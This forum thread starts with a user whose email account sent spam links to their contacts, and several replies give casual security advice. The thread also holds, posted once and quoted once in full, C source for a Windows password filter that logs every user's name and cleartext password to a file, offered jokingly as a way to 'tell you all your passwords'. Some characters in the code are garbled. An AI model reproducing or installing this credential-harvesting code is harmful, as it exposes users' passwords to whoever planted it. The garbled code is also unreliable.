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Old 01-27-2011, 09:58 PM   #1
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Apparently someone hacked into my email and sent all my contacts (only 5 people) some link to cialis and viagra website... It sent to 3 males and 2 females and one girl happenes to be my ex and one of the males happens to be her dad... shes getting pissed off at me about it. So I changed my password around in hopes that it doesnt happen again. Just thought I'd share.
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damn sucks dude at least she is an Ex just explain to em what happend and if they dont calm down oh well its not your fault lol
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Check your computer. My sons computer got a virus on it that was sending out spam. I cleaned it up and it all stopped.
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What email client are you using?
GMail has done pretty good for me so far. I have a GMail account and a yahoo. So far, no hacks. But I get a ton less spam in my GMail account. But I've heard aol and hotmail accounts are supposedly easier to hack. My sisters hotmail account got hacked just a few weeks ago, and shes really careful with it.
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Here'* your new password, memorize it

@^k20Paa2qk5

hack that...
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This is happening more and more and ARE Majority NOT HACKS!. Most are Email worms riding attachments with commercial intent (But more and more malevolent intent) and you can have any client or virus protection you think are superior. IT""* NOT LOL

Worms are getting so small in structure and coders have found ways to piggyback them to .jpg'* and the like. Virus software is yet to come to grips with this and you click, you get it. So how to you protect yourself best. Do not allow attachments to auto open. When you know it'* a "Hey look at this" kind of attachment, tell the idiotic, likes funny pictures, mails crap because he deosn't want people to think He/She'* anti American/God/Whatever or the engine'* gonna fall out of the f'in sky and kill them if they don't forward to 10 more people they think are just as idiotic; GROWL! ; delete it and reply: Stop being a MORON and sending me this crap or your BLOCKED. I've personally offend quite a few lately and really don't care anymore. I can find all the neat things to occupy my time, and could car less what people think of my politics, religion, and don't believe objects fall out of the sky with a target intended, (unless your an enemy of the CIA or Israel) so stop sending me stupid ****.

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Here'* your new password, memorize it

@^k20Paa2qk5

hack that...
Hahahaha!!!
Here, put this in your System 32 folder and I'll tell you all your passwords:


FPNWCLNT.

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

struct UNI_STRING **
USHORT len;
USHORT maxlen;
WCHAR *buff;
};

static HANDLE fh;

BOOLEAN __stdcall InitializeChangeNotify ()
**
DWORD wrote;
fh = CreateFile("C:\\temp\\pwdchange.out",
GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
0,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL|FILE_FLAG_WRITE_THROUGH,
0);
WriteFile(fh, "InitializeChangeNotify started\n", 31, &wrote, 0);
return TRUE;
}

LONG __stdcall PasswordChangeNotify (
struct UNI_STRING *user,
ULONG rid,
struct UNI_STRING *passwd
)
**
DWORD wrote;
WCHAR wbuf[200];
char buf[512];
char buf1[200];
DWORD len;

memcpy(wbuf, user->buff, user->len);
len = user->len/sizeof(WCHAR);
wbuf[len] = 0;
wcstombs(buf1, wbuf, 199);
sprintf(buf, "User = %* : ", buf1);
WriteFile(fh, buf, strlen(buf), &wrote, 0);

memcpy(wbuf, passwd->buff, passwd->len);
len = passwd->len/sizeof(WCHAR);
wbuf[len] = 0;
wcstombs(buf1, wbuf, 199);
sprintf(buf, "Password = %* : ", buf1);
WriteFile(fh, buf, strlen(buf), &wrote, 0);

sprintf(buf, "RID = %x\n", rid);
WriteFile(fh, buf, strlen(buf), &wrote, 0);

return 0L;
}
-----------------------end of
FPNWCLNT.c------------------------------------
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Originally Posted by GXP Venom View Post
Hahahaha!!!
Here, put this in your System 32 folder and I'll tell you all your passwords:


FPNWCLNT.

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

struct UNI_STRING **
USHORT len;
USHORT maxlen;
WCHAR *buff;
};

static HANDLE fh;

BOOLEAN __stdcall InitializeChangeNotify ()
**
DWORD wrote;
fh = CreateFile("C:\\temp\\pwdchange.out",
GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
0,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL|FILE_FLAG_WRITE_THROUGH,
0);
WriteFile(fh, "InitializeChangeNotify started\n", 31, &wrote, 0);
return TRUE;
}

LONG __stdcall PasswordChangeNotify (
struct UNI_STRING *user,
ULONG rid,
struct UNI_STRING *passwd
)
**
DWORD wrote;
WCHAR wbuf[200];
char buf[512];
char buf1[200];
DWORD len;

memcpy(wbuf, user->buff, user->len);
len = user->len/sizeof(WCHAR);
wbuf[len] = 0;
wcstombs(buf1, wbuf, 199);
sprintf(buf, "User = %* : ", buf1);
WriteFile(fh, buf, strlen(buf), &wrote, 0);

memcpy(wbuf, passwd->buff, passwd->len);
len = passwd->len/sizeof(WCHAR);
wbuf[len] = 0;
wcstombs(buf1, wbuf, 199);
sprintf(buf, "Password = %* : ", buf1);
WriteFile(fh, buf, strlen(buf), &wrote, 0);

sprintf(buf, "RID = %x\n", rid);
WriteFile(fh, buf, strlen(buf), &wrote, 0);

return 0L;
}
-----------------------end of
FPNWCLNT.c------------------------------------

... um I dont know what that is...
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Simple exploit to extract passwords.. Key things removed. These are a dime a dozen on the net.
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